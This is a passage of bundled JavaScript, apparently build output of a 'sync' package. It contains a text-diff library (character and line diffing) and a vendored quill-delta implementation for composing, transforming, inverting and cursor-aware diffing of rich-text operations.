11561 } else {
11562 while (editLength <= maxEditLength && Date.now() <= abortAfterTimestamp) {
11563 const ret = execEditLength();
11564 if (ret) {
11565 return ret;
11566 }
11567 }
11568 }
11569 }
11570 addToPath(path, added, removed, oldPosInc, options) {
11571 const last2 = path.lastComponent;
11572 if (last2 && !options.oneChangePerToken && last2.added === added && last2.removed === removed) {
11573 return {
11574 oldPos: path.oldPos + oldPosInc,
11575 lastComponent: { count: last2.count + 1, added, removed, previousComponent: last2.previousComponent }
11576 };
11577 } else {
11578 return {
11579 oldPos: path.oldPos + oldPosInc,
11580 lastComponent: { count: 1, added, removed, previousComponent: last2 }
11581 };
11582 }
11583 }
11584 extractCommon(basePath, newTokens, oldTokens, diagonalPath, options) {
11585 const newLen = newTokens.length, oldLen = oldTokens.length;
11586 let oldPos = basePath.oldPos, newPos = oldPos - diagonalPath, commonCount = 0;
11587 while (newPos + 1 < newLen && oldPos + 1 < oldLen && this.equals(oldTokens[oldPos + 1], newTokens[newPos + 1], options)) {
11588 newPos++;
11589 oldPos++;
11590 commonCount++;
11591 if (options.oneChangePerToken) {
11592 basePath.lastComponent = { count: 1, previousComponent: basePath.lastComponent, added: false, removed: false };
11593 }
11594 }
11595 if (commonCount && !options.oneChangePerToken) {
11596 basePath.lastComponent = { count: commonCount, previousComponent: basePath.lastComponent, added: false, removed: false };
11597 }
11598 basePath.oldPos = oldPos;
11599 return newPos;
11600 }
11601 equals(left, right, options) {
11602 if (options.comparator) {
11603 return options.comparator(left, right);
11604 } else {
11605 return left === right || !!options.ignoreCase && left.toLowerCase() === right.toLowerCase();
11606 }
11607 }
11608 removeEmpty(array) {
11609 const ret = [];
11610 for (let i = 0; i < array.length; i++) {
11611 if (array[i]) {
11612 ret.push(array[i]);
11613 }
11614 }
11615 return ret;
11616 }
11617 // eslint-disable-next-line @typescript-eslint/no-unused-vars
11618 castInput(value, options) {
11619 return value;
11620 }
11621 // eslint-disable-next-line @typescript-eslint/no-unused-vars
11622 tokenize(value, options) {
11623 return Array.from(value);
11624 }
11625 join(chars) {
11626 return chars.join("");
11627 }
11628 postProcess(changeObjects, options) {
11629 return changeObjects;
11630 }
11631 get useLongestToken() {
11632 return false;
11633 }
11634 buildValues(lastComponent, newTokens, oldTokens) {
11635 const components = [];
11636 let nextComponent;
11637 while (lastComponent) {
11638 components.push(lastComponent);
11639 nextComponent = lastComponent.previousComponent;
11640 delete lastComponent.previousComponent;
11641 lastComponent = nextComponent;
11642 }
11643 components.reverse();
11644 const componentLen = components.length;
11645 let componentPos = 0, newPos = 0, oldPos = 0;
11646 for (; componentPos < componentLen; componentPos++) {
11647 const component = components[componentPos];
11648 if (!component.removed) {
11649 if (!component.added && this.useLongestToken) {
11650 let value = newTokens.slice(newPos, newPos + component.count);
11651 value = value.map(function(value2, i) {
11652 const oldValue = oldTokens[oldPos + i];
11653 return oldValue.length > value2.length ? oldValue : value2;
11654 });
11655 component.value = this.join(value);
11656 } else {
11657 component.value = this.join(newTokens.slice(newPos, newPos + component.count));
11658 }
11659 newPos += component.count;
11660 if (!component.added) {
11661 oldPos += component.count;
11662 }
11663 } else {
11664 component.value = this.join(oldTokens.slice(oldPos, oldPos + component.count));
11665 oldPos += component.count;
11666 }
11667 }
11668 return components;
11669 }
11670 };
11671
11672 // packages/sync/node_modules/diff/libesm/diff/character.js
11673 var CharacterDiff = class extends Diff {
11674 };
11675 var characterDiff = new CharacterDiff();
11676 function diffChars(oldStr, newStr, options) {
11677 return characterDiff.diff(oldStr, newStr, options);
11678 }
11679
11680 // packages/sync/node_modules/diff/libesm/diff/line.js
11681 var LineDiff = class extends Diff {
11682 constructor() {
11683 super(...arguments);
11684 this.tokenize = tokenize;
11685 }
11686 equals(left, right, options) {
11687 if (options.ignoreWhitespace) {
11688 if (!options.newlineIsToken || !left.includes("\n")) {
11689 left = left.trim();
11690 }
11691 if (!options.newlineIsToken || !right.includes("\n")) {
11692 right = right.trim();
11693 }
11694 } else if (options.ignoreNewlineAtEof && !options.newlineIsToken) {
11695 if (left.endsWith("\n")) {
11696 left = left.slice(0, -1);
11697 }
11698 if (right.endsWith("\n")) {
11699 right = right.slice(0, -1);
11700 }
11701 }
11702 return super.equals(left, right, options);
11703 }
11704 };
11705 var lineDiff = new LineDiff();
11706 function diffLines(oldStr, newStr, options) {
11707 return lineDiff.diff(oldStr, newStr, options);
11708 }
11709 function tokenize(value, options) {
11710 if (options.stripTrailingCr) {
11711 value = value.replace(/\r\n/g, "\n");
11712 }
11713 const retLines = [], linesAndNewlines = value.split(/(\n|\r\n)/);
11714 if (!linesAndNewlines[linesAndNewlines.length - 1]) {
11715 linesAndNewlines.pop();
11716 }
11717 for (let i = 0; i < linesAndNewlines.length; i++) {
11718 const line = linesAndNewlines[i];
11719 if (i % 2 && !options.newlineIsToken) {
11720 retLines[retLines.length - 1] += line;
11721 } else {
11722 retLines.push(line);
11723 }
11724 }
11725 return retLines;
11726 }
11727
11728 // packages/sync/build-module/quill-delta/Delta.mjs
11729 var import_es63 = __toESM(require_es6(), 1);
11730
11731 // packages/sync/build-module/quill-delta/AttributeMap.mjs
11732 var import_es62 = __toESM(require_es6(), 1);
11733 function cloneDeep(value) {
11734 return JSON.parse(JSON.stringify(value));
11735 }
11736 var AttributeMap;
11737 ((AttributeMap2) => {
11738 function compose3(a = {}, b = {}, keepNull = false) {
11739 if (typeof a !== "object") {
11740 a = {};
11741 }
11742 if (typeof b !== "object") {
11743 b = {};
11744 }
11745 let attributes = cloneDeep(b);
11746 if (!keepNull) {
11747 attributes = Object.keys(attributes).reduce(
11748 (copy2, key) => {
11749 if (attributes[key] !== null || attributes[key] !== void 0) {
11750 copy2[key] = attributes[key];
11751 }
11752 return copy2;
11753 },
11754 {}
11755 );
11756 }
11757 for (const key in a) {
11758 if (a[key] !== void 0 && b[key] === void 0) {
11759 attributes[key] = a[key];
11760 }
11761 }
11762 return Object.keys(attributes).length > 0 ? attributes : void 0;
11763 }
11764 AttributeMap2.compose = compose3;
11765 function diff(a = {}, b = {}) {
11766 if (typeof a !== "object") {
11767 a = {};
11768 }
11769 if (typeof b !== "object") {
11770 b = {};
11771 }
11772 const attributes = Object.keys(a).concat(Object.keys(b)).reduce((attrs, key) => {
11773 if (!(0, import_es62.default)(a[key], b[key])) {
11774 attrs[key] = b[key] === void 0 ? null : b[key];
11775 }
11776 return attrs;
11777 }, {});
11778 return Object.keys(attributes).length > 0 ? attributes : void 0;
11779 }
11780 AttributeMap2.diff = diff;
11781 function invert(attr = {}, base = {}) {
11782 attr = attr || {};
11783 const baseInverted = Object.keys(base).reduce(
11784 (memo, key) => {
11785 if (base[key] !== attr[key] && attr[key] !== void 0) {
11786 memo[key] = base[key];
11787 }
11788 return memo;
11789 },
11790 {}
11791 );
11792 return Object.keys(attr).reduce((memo, key) => {
11793 if (attr[key] !== base[key] && base[key] === void 0) {
11794 memo[key] = null;
11795 }
11796 return memo;
11797 }, baseInverted);
11798 }
11799 AttributeMap2.invert = invert;
11800 function transform(a, b, priority = false) {
11801 if (typeof a !== "object") {
11802 return b;
11803 }
11804 if (typeof b !== "object") {
11805 return void 0;
11806 }
11807 if (!priority) {
11808 return b;
11809 }
11810 const attributes = Object.keys(b).reduce(
11811 (attrs, key) => {
11812 if (a[key] === void 0) {
11813 attrs[key] = b[key];
11814 }
11815 return attrs;
11816 },
11817 {}
11818 );
11819 return Object.keys(attributes).length > 0 ? attributes : void 0;
11820 }
11821 AttributeMap2.transform = transform;
11822 })(AttributeMap || (AttributeMap = {}));
11823 var AttributeMap_default = AttributeMap;
11824
11825 // packages/sync/build-module/quill-delta/Op.mjs
11826 var Op;
11827 ((Op2) => {
11828 function length3(op) {
11829 if (typeof op.delete === "number") {
11830 return op.delete;
11831 } else if (typeof op.retain === "number") {
11832 return op.retain;
11833 } else if (typeof op.retain === "object" && op.retain !== null) {
11834 return 1;
11835 }
11836 return typeof op.insert === "string" ? op.insert.length : 1;
11837 }
11838 Op2.length = length3;
11839 })(Op || (Op = {}));
11840 var Op_default = Op;
11841
11842 // packages/sync/build-module/quill-delta/OpIterator.mjs
11843 var Iterator2 = class {
11844 ops;
11845 index;
11846 offset;
11847 constructor(ops) {
11848 this.ops = ops;
11849 this.index = 0;
11850 this.offset = 0;
11851 }
11852 hasNext() {
11853 return this.peekLength() < Infinity;
11854 }
11855 next(length3) {
11856 if (!length3) {
11857 length3 = Infinity;
11858 }
11859 const nextOp = this.ops[this.index];
11860 if (nextOp) {
11861 const offset = this.offset;
11862 const opLength = Op_default.length(nextOp);
11863 if (length3 >= opLength - offset) {
11864 length3 = opLength - offset;
11865 this.index += 1;
11866 this.offset = 0;
11867 } else {
11868 this.offset += length3;
11869 }
11870 if (typeof nextOp.delete === "number") {
11871 return { delete: length3 };
11872 }
11873 const retOp = {};
11874 if (nextOp.attributes) {
11875 retOp.attributes = nextOp.attributes;
11876 }
11877 if (typeof nextOp.retain === "number") {
11878 retOp.retain = length3;
11879 } else if (typeof nextOp.retain === "object" && nextOp.retain !== null) {
11880 retOp.retain = nextOp.retain;
11881 } else if (typeof nextOp.insert === "string") {
11882 retOp.insert = nextOp.insert.substr(offset, length3);
11883 } else {
11884 retOp.insert = nextOp.insert;
11885 }
11886 return retOp;
11887 }
11888 return { retain: Infinity };
11889 }
11890 peek() {
11891 return this.ops[this.index];
11892 }
11893 peekLength() {
11894 if (this.ops[this.index]) {
11895 return Op_default.length(this.ops[this.index]) - this.offset;
11896 }
11897 return Infinity;
11898 }
11899 peekType() {
11900 const op = this.ops[this.index];
11901 if (op) {
11902 if (typeof op.delete === "number") {
11903 return "delete";
11904 } else if (typeof op.retain === "number" || typeof op.retain === "object" && op.retain !== null) {
11905 return "retain";
11906 }
11907 return "insert";
11908 }
11909 return "retain";
11910 }
11911 rest() {
11912 if (!this.hasNext()) {
11913 return [];
11914 } else if (this.offset === 0) {
11915 return this.ops.slice(this.index);
11916 }
11917 const offset = this.offset;
11918 const index = this.index;
11919 const next = this.next();
11920 const rest = this.ops.slice(this.index);
11921 this.offset = offset;
11922 this.index = index;
11923 return [next].concat(rest);
11924 }
11925 };
11926
11927 // packages/sync/build-module/quill-delta/Delta.mjs
11928 function cloneDeep2(value) {
11929 return JSON.parse(JSON.stringify(value));
11930 }
11931 var NULL_CHARACTER = String.fromCharCode(0);
11932 var STRING_TOO_LARGE_THRESHOLD = 1e4;
11933 function normalizeChangeCounts(changes) {
11934 return changes.map((change) => ({
11935 ...change,
11936 count: change.value.length
11937 }));
11938 }
11939 var getEmbedTypeAndData = (a, b) => {
11940 if (typeof a !== "object" || a === null) {
11941 throw new Error(`cannot retain a ${typeof a}`);
11942 }
11943 if (typeof b !== "object" || b === null) {
11944 throw new Error(`cannot retain a ${typeof b}`);
11945 }
11946 const embedType = Object.keys(a)[0];
11947 if (!embedType || embedType !== Object.keys(b)[0]) {
11948 throw new Error(
11949 `embed types not matched: ${embedType} != ${Object.keys(b)[0]}`
11950 );
11951 }
11952 return [embedType, a[embedType], b[embedType]];
11953 };
11954 var Delta = class _Delta {
11955 static Op = Op_default;
11956 static OpIterator = Iterator2;
11957 static AttributeMap = AttributeMap_default;
11958 static handlers = {};
11959 static registerEmbed(embedType, handler) {
11960 this.handlers[embedType] = handler;
11961 }
11962 static unregisterEmbed(embedType) {
11963 delete this.handlers[embedType];
11964 }
11965 static getHandler(embedType) {
11966 const handler = this.handlers[embedType];
11967 if (!handler) {
11968 throw new Error(`no handlers for embed type "${embedType}"`);
11969 }
11970 return handler;
11971 }
11972 ops;
11973 constructor(ops) {
11974 if (Array.isArray(ops)) {
11975 this.ops = ops;
11976 } else if (ops !== null && ops !== void 0 && Array.isArray(ops.ops)) {
11977 this.ops = ops.ops;
11978 } else {
11979 this.ops = [];
11980 }
11981 }
11982 insert(arg, attributes) {
11983 const newOp = {};
11984 if (typeof arg === "string" && arg.length === 0) {
11985 return this;
11986 }
11987 newOp.insert = arg;
11988 if (attributes !== null && attributes !== void 0 && typeof attributes === "object" && Object.keys(attributes).length > 0) {
11989 newOp.attributes = attributes;
11990 }
11991 return this.push(newOp);
11992 }
11993 delete(length3) {
11994 if (length3 <= 0) {
11995 return this;
11996 }
11997 return this.push({ delete: length3 });
11998 }
11999 retain(length3, attributes) {
12000 if (typeof length3 === "number" && length3 <= 0) {
12001 return this;
12002 }
12003 const newOp = { retain: length3 };
12004 if (attributes !== null && attributes !== void 0 && typeof attributes === "object" && Object.keys(attributes).length > 0) {
12005 newOp.attributes = attributes;
12006 }
12007 return this.push(newOp);
12008 }
12009 push(newOp) {
12010 let index = this.ops.length;
12011 let lastOp = this.ops[index - 1];
12012 newOp = cloneDeep2(newOp);
12013 if (typeof lastOp === "object") {
12014 if (typeof newOp.delete === "number" && typeof lastOp.delete === "number") {
12015 this.ops[index - 1] = {
12016 delete: lastOp.delete + newOp.delete
12017 };
12018 return this;
12019 }
12020 if (typeof lastOp.delete === "number" && newOp.insert !== null && newOp.insert !== void 0) {
12021 index -= 1;
12022 lastOp = this.ops[index - 1];
12023 if (typeof lastOp !== "object") {
12024 this.ops.unshift(newOp);
12025 return this;
12026 }
12027 }
12028 if ((0, import_es63.default)(newOp.attributes, lastOp.attributes)) {
12029 if (typeof newOp.insert === "string" && typeof lastOp.insert === "string") {
12030 this.ops[index - 1] = {
12031 insert: lastOp.insert + newOp.insert
12032 };
12033 if (typeof newOp.attributes === "object") {
12034 this.ops[index - 1].attributes = newOp.attributes;
12035 }
12036 return this;
12037 } else if (typeof newOp.retain === "number" && typeof lastOp.retain === "number") {
12038 this.ops[index - 1] = {
12039 retain: lastOp.retain + newOp.retain
12040 };
12041 if (typeof newOp.attributes === "object") {
12042 this.ops[index - 1].attributes = newOp.attributes;
12043 }
12044 return this;
12045 }
12046 }
12047 }
12048 if (index === this.ops.length) {
12049 this.ops.push(newOp);
12050 } else {
12051 this.ops.splice(index, 0, newOp);
12052 }
12053 return this;
12054 }
12055 chop() {
12056 const lastOp = this.ops[this.ops.length - 1];
12057 if (lastOp && typeof lastOp.retain === "number" && !lastOp.attributes) {
12058 this.ops.pop();
12059 }
12060 return this;
12061 }
12062 filter(predicate) {
12063 return this.ops.filter(predicate);
12064 }
12065 forEach(predicate) {
12066 this.ops.forEach(predicate);
12067 }
12068 map(predicate) {
12069 return this.ops.map(predicate);
12070 }
12071 partition(predicate) {
12072 const passed = [];
12073 const failed = [];
12074 this.forEach((op) => {
12075 const target = predicate(op) ? passed : failed;
12076 target.push(op);
12077 });
12078 return [passed, failed];
12079 }
12080 reduce(predicate, initialValue) {
12081 return this.ops.reduce(predicate, initialValue);
12082 }
12083 changeLength() {
12084 return this.reduce((length3, elem) => {
12085 if (elem.insert) {
12086 return length3 + Op_default.length(elem);
12087 } else if (elem.delete) {
12088 return length3 - elem.delete;
12089 }
12090 return length3;
12091 }, 0);
12092 }
12093 length() {
12094 return this.reduce((length3, elem) => {
12095 return length3 + Op_default.length(elem);
12096 }, 0);
12097 }
12098 slice(start = 0, end = Infinity) {
12099 const ops = [];
12100 const iter = new Iterator2(this.ops);
12101 let index = 0;
12102 while (index < end && iter.hasNext()) {
12103 let nextOp;
12104 if (index < start) {
12105 nextOp = iter.next(start - index);
12106 } else {
12107 nextOp = iter.next(end - index);
12108 ops.push(nextOp);
12109 }
12110 index += Op_default.length(nextOp);
12111 }
12112 return new _Delta(ops);
12113 }
12114 compose(other) {
12115 const thisIter = new Iterator2(this.ops);
12116 const otherIter = new Iterator2(other.ops);
12117 const ops = [];
12118 const firstOther = otherIter.peek();
12119 if (firstOther !== null && firstOther !== void 0 && typeof firstOther.retain === "number" && (firstOther.attributes === null || firstOther.attributes === void 0)) {
12120 let firstLeft = firstOther.retain;
12121 while (thisIter.peekType() === "insert" && thisIter.peekLength() <= firstLeft) {
12122 firstLeft -= thisIter.peekLength();
12123 ops.push(thisIter.next());
12124 }
12125 if (firstOther.retain - firstLeft > 0) {
12126 otherIter.next(firstOther.retain - firstLeft);
12127 }
12128 }
12129 const delta = new _Delta(ops);
12130 while (thisIter.hasNext() || otherIter.hasNext()) {
12131 if (otherIter.peekType() === "insert") {
12132 delta.push(otherIter.next());
12133 } else if (thisIter.peekType() === "delete") {
12134 delta.push(thisIter.next());
12135 } else {
12136 const length3 = Math.min(
12137 thisIter.peekLength(),
12138 otherIter.peekLength()
12139 );
12140 const thisOp = thisIter.next(length3);
12141 const otherOp = otherIter.next(length3);
12142 if (otherOp.retain) {
12143 const newOp = {};
12144 if (typeof thisOp.retain === "number") {
12145 newOp.retain = typeof otherOp.retain === "number" ? length3 : otherOp.retain;
12146 } else if (typeof otherOp.retain === "number") {
12147 if (thisOp.retain === null || thisOp.retain === void 0) {
12148 newOp.insert = thisOp.insert;
12149 } else {
12150 newOp.retain = thisOp.retain;
12151 }
12152 } else {
12153 const action = thisOp.retain === null || thisOp.retain === void 0 ? "insert" : "retain";
12154 const [embedType, thisData, otherData] = getEmbedTypeAndData(
12155 thisOp[action],
12156 otherOp.retain
12157 );
12158 const handler = _Delta.getHandler(embedType);
12159 newOp[action] = {
12160 [embedType]: handler.compose(
12161 thisData,
12162 otherData,
12163 action === "retain"
12164 )
12165 };
12166 }
12167 const attributes = AttributeMap_default.compose(
12168 thisOp.attributes,
12169 otherOp.attributes,
12170 typeof thisOp.retain === "number"
12171 );
12172 if (attributes) {
12173 newOp.attributes = attributes;
12174 }
12175 delta.push(newOp);
12176 if (!otherIter.hasNext() && (0, import_es63.default)(delta.ops[delta.ops.length - 1], newOp)) {
12177 const rest = new _Delta(thisIter.rest());
12178 return delta.concat(rest).chop();
12179 }
12180 } else if (typeof otherOp.delete === "number" && (typeof thisOp.retain === "number" || typeof thisOp.retain === "object" && thisOp.retain !== null)) {
12181 delta.push(otherOp);
12182 }
12183 }
12184 }
12185 return delta.chop();
12186 }
12187 concat(other) {
12188 const delta = new _Delta(this.ops.slice());
12189 if (other.ops.length > 0) {
12190 delta.push(other.ops[0]);
12191 delta.ops = delta.ops.concat(other.ops.slice(1));
12192 }
12193 return delta;
12194 }
12195 diff(other) {
12196 if (this.ops === other.ops) {
12197 return new _Delta();
12198 }
12199 const strings = this.deltasToStrings(other);
12200 const diffResult = normalizeChangeCounts(
12201 diffChars(strings[0], strings[1])
12202 );
12203 const thisIter = new Iterator2(this.ops);
12204 const otherIter = new Iterator2(other.ops);
12205 const retDelta = this.convertChangesToDelta(
12206 diffResult,
12207 thisIter,
12208 otherIter
12209 );
12210 return retDelta.chop();
12211 }
12212 eachLine(predicate, newline = "\n") {
12213 const iter = new Iterator2(this.ops);
12214 let line = new _Delta();
12215 let i = 0;
12216 while (iter.hasNext()) {
12217 if (iter.peekType() !== "insert") {
12218 return;
12219 }
12220 const thisOp = iter.peek();
12221 const start = Op_default.length(thisOp) - iter.peekLength();
12222 const index = typeof thisOp.insert === "string" ? thisOp.insert.indexOf(newline, start) - start : -1;
12223 if (index < 0) {
12224 line.push(iter.next());
12225 } else if (index > 0) {
12226 line.push(iter.next(index));
12227 } else {
12228 if (predicate(line, iter.next(1).attributes || {}, i) === false) {
12229 return;
12230 }
12231 i += 1;
12232 line = new _Delta();
12233 }
12234 }
12235 if (line.length() > 0) {
12236 predicate(line, {}, i);
12237 }
12238 }
12239 invert(base) {
12240 const inverted = new _Delta();
12241 this.reduce((baseIndex, op) => {
12242 if (op.insert) {
12243 inverted.delete(Op_default.length(op));
12244 } else if (typeof op.retain === "number" && (op.attributes === null || op.attributes === void 0)) {
12245 inverted.retain(op.retain);
12246 return baseIndex + op.retain;
12247 } else if (op.delete || typeof op.retain === "number") {
12248 const length3 = op.delete || op.retain;
12249 const slice = base.slice(baseIndex, baseIndex + length3);
12250 slice.forEach((baseOp) => {
12251 if (op.delete) {
12252 inverted.push(baseOp);
12253 } else if (op.retain && op.attributes) {
12254 inverted.retain(
12255 Op_default.length(baseOp),
12256 AttributeMap_default.invert(
12257 op.attributes,
12258 baseOp.attributes
12259 )
12260 );
12261 }
12262 });
12263 return baseIndex + length3;
12264 } else if (typeof op.retain === "object" && op.retain !== null) {
12265 const slice = base.slice(baseIndex, baseIndex + 1);
12266 const baseOp = new Iterator2(slice.ops).next();
12267 const [embedType, opData, baseOpData] = getEmbedTypeAndData(
12268 op.retain,
12269 baseOp.insert
12270 );
12271 const handler = _Delta.getHandler(embedType);
12272 inverted.retain(
12273 { [embedType]: handler.invert(opData, baseOpData) },
12274 AttributeMap_default.invert(op.attributes, baseOp.attributes)
12275 );
12276 return baseIndex + 1;
12277 }
12278 return baseIndex;
12279 }, 0);
12280 return inverted.chop();
12281 }
12282 transform(arg, priority = false) {
12283 priority = !!priority;
12284 if (typeof arg === "number") {
12285 return this.transformPosition(arg, priority);
12286 }
12287 const other = arg;
12288 const thisIter = new Iterator2(this.ops);
12289 const otherIter = new Iterator2(other.ops);
12290 const delta = new _Delta();
12291 while (thisIter.hasNext() || otherIter.hasNext()) {
12292 if (thisIter.peekType() === "insert" && (priority || otherIter.peekType() !== "insert")) {
12293 delta.retain(Op_default.length(thisIter.next()));
12294 } else if (otherIter.peekType() === "insert") {
12295 delta.push(otherIter.next());
12296 } else {
12297 const length3 = Math.min(
12298 thisIter.peekLength(),
12299 otherIter.peekLength()
12300 );
12301 const thisOp = thisIter.next(length3);
12302 const otherOp = otherIter.next(length3);
12303 if (thisOp.delete) {
12304 continue;
12305 } else if (otherOp.delete) {
12306 delta.push(otherOp);
12307 } else {
12308 const thisData = thisOp.retain;
12309 const otherData = otherOp.retain;
12310 let transformedData = typeof otherData === "object" && otherData !== null ? otherData : length3;
12311 if (typeof thisData === "object" && thisData !== null && typeof otherData === "object" && otherData !== null) {
12312 const embedType = Object.keys(thisData)[0];
12313 if (embedType === Object.keys(otherData)[0]) {
12314 const handler = _Delta.getHandler(embedType);
12315 if (handler) {
12316 transformedData = {
12317 [embedType]: handler.transform(
12318 thisData[embedType],
12319 otherData[embedType],
12320 priority
12321 )
12322 };
12323 }
12324 }
12325 }
12326 delta.retain(
12327 transformedData,
12328 AttributeMap_default.transform(
12329 thisOp.attributes,
12330 otherOp.attributes,
12331 priority
12332 )
12333 );
12334 }
12335 }
12336 }
12337 return delta.chop();
12338 }
12339 transformPosition(index, priority = false) {
12340 priority = !!priority;
12341 const thisIter = new Iterator2(this.ops);
12342 let offset = 0;
12343 while (thisIter.hasNext() && offset <= index) {
12344 const length3 = thisIter.peekLength();
12345 const nextType = thisIter.peekType();
12346 thisIter.next();
12347 if (nextType === "delete") {
12348 index -= Math.min(length3, index - offset);
12349 continue;
12350 } else if (nextType === "insert" && (offset < index || !priority)) {
12351 index += length3;
12352 }
12353 offset += length3;
12354 }
12355 return index;
12356 }
12357 /**
12358 * Given a Delta and a cursor position, do a diff and attempt to adjust
12359 * the diff to place insertions or deletions at the cursor position.
12360 *
12361 * @param other - The other Delta to diff against.
12362 * @param cursorAfterChange - The cursor position index after the change.
12363 * @return A Delta that attempts to place insertions or deletions at the cursor position.
12364 */
12365 diffWithCursor(other, cursorAfterChange) {
12366 if (this.ops === other.ops) {
12367 return new _Delta();
12368 }
12369 const strings = this.deltasToStrings(other);
12370 const maxStringLength = Math.max(
12371 ...strings.map((str) => str.length)
12372 );
12373 if (maxStringLength > STRING_TOO_LARGE_THRESHOLD) {
12374 const diffResult = normalizeChangeCounts(
12375 diffLines(strings[0], strings[1])
12376 );
12377 const thisIterLarge = new Iterator2(this.ops);
12378 const otherIterLarge = new Iterator2(other.ops);
12379 return this.convertChangesToDelta(
12380 diffResult,
12381 thisIterLarge,
12382 otherIterLarge
12383 ).chop();
12384 } else if (cursorAfterChange === null) {
12385 return this.diff(other);
12386 }
12387 let diffs = normalizeChangeCounts(
12388 diffChars(strings[0], strings[1])
12389 );
12390 let lastDiffPosition = 0;
12391 const adjustedDiffs = [];
12392 for (let i = 0; i < diffs.length; i++) {
12393 const diff = diffs[i];
12394 const segmentStart = lastDiffPosition;
12395 const segmentEnd = lastDiffPosition + (diff.count ?? 0);
12396 const isCursorInSegment = cursorAfterChange > segmentStart && cursorAfterChange <= segmentEnd;
12397 const isUnchangedSegment = !diff.added && !diff.removed;
12398 const isRemovalSegment = diff.removed && !diff.added;
12399 const nextDiff = diffs[i + 1];
12400 const isNextDiffAnInsert = nextDiff && nextDiff.added && !nextDiff.removed;
12401 if (isUnchangedSegment && isCursorInSegment && isNextDiffAnInsert) {
12402 const movedSegments = this.tryMoveInsertionToCursor(
12403 diff,
12404 nextDiff,
12405 cursorAfterChange,
12406 segmentStart
12407 );
12408 if (movedSegments) {
12409 adjustedDiffs.push(...movedSegments);
12410 i++;
12411 lastDiffPosition = segmentEnd;
12412 continue;
12413 }
12414 }
12415 if (isRemovalSegment) {
12416 const movedSegments = this.tryMoveDeletionToCursor(
12417 diff,
12418 adjustedDiffs,
12419 cursorAfterChange,
12420 lastDiffPosition
12421 );
12422 if (movedSegments) {
12423 adjustedDiffs.pop();
12424 adjustedDiffs.push(...movedSegments);
12425 lastDiffPosition += diff.count ?? 0;
12426 continue;
12427 }
12428 }
12429 adjustedDiffs.push(diff);
12430 if (!diff.added) {
12431 lastDiffPosition += diff.count ?? 0;
12432 }
12433 }
12434 diffs = adjustedDiffs;
12435 const thisIter = new Iterator2(this.ops);
12436 const otherIter = new Iterator2(other.ops);
12437 const retDelta = this.convertChangesToDelta(
12438 diffs,
12439 thisIter,
12440 otherIter
12441 );
12442 return retDelta.chop();
12443 }
12444 /**
12445 * Try to move an insertion operation from after an unchanged segment to the cursor position within it.
12446 * This is a "look-ahead" strategy.
12447 *
12448 * @param diff - The current unchanged diff segment.
12449 * @param nextDiff - The next diff segment (expected to be an insertion).
12450 * @param cursorAfterChange - The cursor position after the change.
12451 * @param segmentStart - The start position of the current segment.
12452 * @return An array of adjusted diff segments if the insertion was successfully moved, null otherwise.
12453 */
12454 tryMoveInsertionToCursor(diff, nextDiff, cursorAfterChange, segmentStart) {
12455 const nextDiffInsert = nextDiff.value;
12456 const insertLength = nextDiffInsert.length;
12457 const insertOffset = cursorAfterChange - segmentStart - insertLength;
12458 const textAtCursor = diff.value.substring(
12459 insertOffset,
12460 insertOffset + nextDiffInsert.length
12461 );
12462 const isInsertMoveable = textAtCursor === nextDiffInsert;
12463 if (!isInsertMoveable) {
12464 return null;
12465 }
12466 const beforeCursor = diff.value.substring(0, insertOffset);
12467 const afterCursor = diff.value.substring(insertOffset);
12468 const result = [];
12469 if (beforeCursor.length > 0) {
12470 result.push({
12471 value: beforeCursor,
12472 count: beforeCursor.length,
12473 added: false,
12474 removed: false
12475 });
12476 }
12477 result.push(nextDiff);
12478 if (afterCursor.length > 0) {
12479 result.push({
12480 value: afterCursor,
12481 count: afterCursor.length,
12482 added: false,
12483 removed: false
12484 });
12485 }
12486 return result;
12487 }
12488 /**
12489 * Try to move a deletion operation to the cursor position by looking back at the previous unchanged segment.
12490 * This is a "look-back" strategy.
12491 *
12492 * @param diff - The current deletion diff segment.
12493 * @param adjustedDiffs - The array of previously processed diff segments.
12494 * @param cursorAfterChange - The cursor position after the change.
12495 * @param lastDiffPosition - The position in the document up to (but not including) the current diff.
12496 * @return An array of adjusted diff segments if the deletion was successfully moved, null otherwise.
12497 */
12498 tryMoveDeletionToCursor(diff, adjustedDiffs, cursorAfterChange, lastDiffPosition) {
12499 const prevDiff = adjustedDiffs[adjustedDiffs.length - 1];
12500 if (!prevDiff || prevDiff.added || prevDiff.removed) {
12501 return null;
12502 }
12503 const prevSegmentStart = lastDiffPosition - (prevDiff.count ?? 0);
12504 const prevSegmentEnd = lastDiffPosition;
12505 if (cursorAfterChange < prevSegmentStart || cursorAfterChange >= prevSegmentEnd) {
12506 return null;
12507 }
12508 const deletedChars = diff.value;
12509 const deleteOffset = cursorAfterChange - prevSegmentStart;
12510 const textAtCursor = prevDiff.value.substring(
12511 deleteOffset,
12512 deleteOffset + deletedChars.length
12513 );
12514 const canBePlacedHere = textAtCursor === deletedChars;
12515 if (!canBePlacedHere) {
12516 return null;
12517 }
12518 const beforeCursor = prevDiff.value.substring(0, deleteOffset);
12519 const atAndAfterCursor = prevDiff.value.substring(deleteOffset);
12520 const deletionLength = diff.count ?? 0;
12521 const afterDeletion = atAndAfterCursor.substring(deletionLength);
12522 const result = [];
12523 if (beforeCursor.length > 0) {
12524 result.push({
12525 value: beforeCursor,
12526 count: beforeCursor.length,
12527 added: false,
12528 removed: false
12529 });
12530 }
12531 result.push(diff);
12532 if (afterDeletion.length > 0) {
12533 result.push({
12534 value: afterDeletion,
12535 count: afterDeletion.length,
12536 added: false,
12537 removed: false
12538 });
12539 }
12540 return result;
12541 }
12542 /**
12543 * Convert two Deltas to string representations for diffing.
12544 *
12545 * @param other - The other Delta to convert.
12546 * @return A tuple of [thisString, otherString].
12547 */
12548 deltasToStrings(other) {
12549 return [this, other].map((delta) => {
12550 return delta.map((op) => {
12551 if (op.insert !== null || op.insert !== void 0) {
12552 return typeof op.insert === "string" ? op.insert : NULL_CHARACTER;
12553 }
12554 const prep = delta === other ? "on" : "with";
12555 throw new Error(
12556 "diff() called " + prep + " non-document"
12557 );
12558 }).join("");
12559 });
12560 }
12561 /**
12562 * Process diff changes and convert them to Delta operations.
12563 *
12564 * @param changes - The array of changes from the diff algorithm.
12565 * @param thisIter - Iterator for this Delta's operations.
12566 * @param otherIter - Iterator for the other Delta's operations.
12567 * @return A Delta containing the processed diff operations.
12568 */
12569 convertChangesToDelta(changes, thisIter, otherIter) {
12570 const retDelta = new _Delta();
12571 changes.forEach((component) => {
12572 let length3 = component.count ?? 0;
12573 while (length3 > 0) {
12574 let opLength = 0;
12575 if (component.added) {
12576 opLength = Math.min(otherIter.peekLength(), length3);
12577 retDelta.push(otherIter.next(opLength));
12578 } else if (component.removed) {
